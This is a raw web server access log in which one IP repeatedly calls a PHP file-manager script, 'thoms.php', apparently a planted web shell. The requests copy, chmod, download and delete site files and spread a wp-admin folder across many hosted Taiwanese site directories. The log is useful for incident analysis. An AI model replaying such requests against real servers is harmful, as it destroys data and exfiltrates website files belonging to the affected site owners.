45.135.193.11 - - [11/Sep/2026:23:29:44 -0400] "GET /thoms.php?del=license.txt&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=license.txt&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:44 -0400] "GET /thoms.php?dl=license.txt&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22113 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample%2Fcjfuns.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22111 "https://163.245.207.76:443/thoms.php?dl=license.txt&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22146 "https://163.245.207.76:443/thoms.php?del=license.txt&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample%2Fprofile.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample%2Fprofile.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22111 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample%2Fprofile.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:45 -0400] "GET /thoms.php?chmod=profile.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:45 -0400] "GET /thoms.php?chmod=cjfuns.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=cjfuns.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:45 -0400] "GET /thoms.php?del=cjfuns.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=cjfuns.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22112 "https://163.245.207.76:443/thoms.php?chmod=profile.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22109 "https://163.245.207.76:443/thoms.php?chmod=cjfuns.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22112 "https://163.245.207.76:443/thoms.php?del=cjfuns.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample%2Findex.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample%2Findex.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22112 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample%2Findex.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample%2Fadmin.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample%2Fadmin.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:45 -0400] "GET /thoms.php?dl=admin.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:45 -0400] "GET /thoms.php?p=bossini.com.tw%2Ftransfer-sample&view=cjfuns.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Ftransfer-sample&view=cjfuns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22163 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample%2Fadmin.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22113 "https://163.245.207.76:443/thoms.php?dl=admin.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22110 "https://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Ftransfer-sample&view=cjfuns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:46 -0400] "GET /thoms.php?dl=cjfuns.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=cjfuns.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22111 "https://163.245.207.76:443/thoms.php?dl=cjfuns.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:46 -0400] "GET /thoms.php?p=bossini.com.tw%2Ftransfer-sample&view=index.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Ftransfer-sample&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:46 -0400] "GET /thoms.php?p=bossini.com.tw%2Ftransfer-sample&view=license.txt HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Ftransfer-sample&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22112 "https://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Ftransfer-sample&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:46 -0400] "GET /thoms.php?dl=index.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22112 "https://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Ftransfer-sample&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21974 "https://163.245.207.76:443/thoms.php?dl=index.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:46 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample%2Flicense.txt&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample%2Flicense.txt&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:46 -0400] "GET /bossini.com.tw/transfer-sample/profile.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22112 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Ftransfer-sample%2Flicense.txt&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:46 -0400] "GET /thoms.php?p=bossini.com.tw%2Ftransfer-sample&view=profile.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Ftransfer-sample&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:46 -0400] "GET /thoms.php?del=profile.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=profile.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22111 "https://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Ftransfer-sample&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22111 "https://163.245.207.76:443/thoms.php?del=profile.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:46 -0400] "GET /thoms.php?p=bossini.com.tw%2Ftransfer-sample&upload= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Ftransfer-sample&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:46 -0400] "GET /thoms.php?chmod=admin.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22112 "https://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Ftransfer-sample&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:46 -0400] "GET /bossini.com.tw/transfer-sample/admin.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:47 -0400] "GET /bossini.com.tw/transfer-sample/cjfuns.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22108 "https://163.245.207.76:443/thoms.php?chmod=admin.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:47 -0400] "GET /thoms.php?del=admin.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=admin.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22112 "https://163.245.207.76:443/thoms.php?del=admin.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:47 -0400] "GET /thoms.php?dl=profile.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:47 -0400] "GET /thoms.php?p=bossini.com.tw%2Ftransfer-sample&settings=1 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Ftransfer-sample&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:47 -0400] "GET /thoms.php?del=index.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=index.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21890 "https://163.245.207.76:443/thoms.php?dl=profile.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22111 "https://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Ftransfer-sample&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22210 "https://163.245.207.76:443/thoms.php?del=index.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:47 -0400] "GET /thoms.php?chmod=license.txt&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22113 "https://163.245.207.76:443/thoms.php?chmod=license.txt&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:47 -0400] "GET /thoms.php?chmod=index.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:47 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p=bodbooks.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:47 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22111 "https://163.245.207.76:443/thoms.php?chmod=index.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22218 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:47 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p=big-wife.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:47 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p=bioway88.com.tw HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p=wp-content HTTP/1.1" 200 11442 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p=besth2o.com.tw HTTP/1.1" 200 11500 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p=bfl.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p=bft.com.tw HTTP/1.1" 200 11440 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p=broadweb.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p=bestzyx.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22112 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p=bogroup.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p=bossini.com.tw HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p=cgi-bin HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p=wp-content-20260912023544 HTTP/1.1" 200 11376 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin&p=bestjudy.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
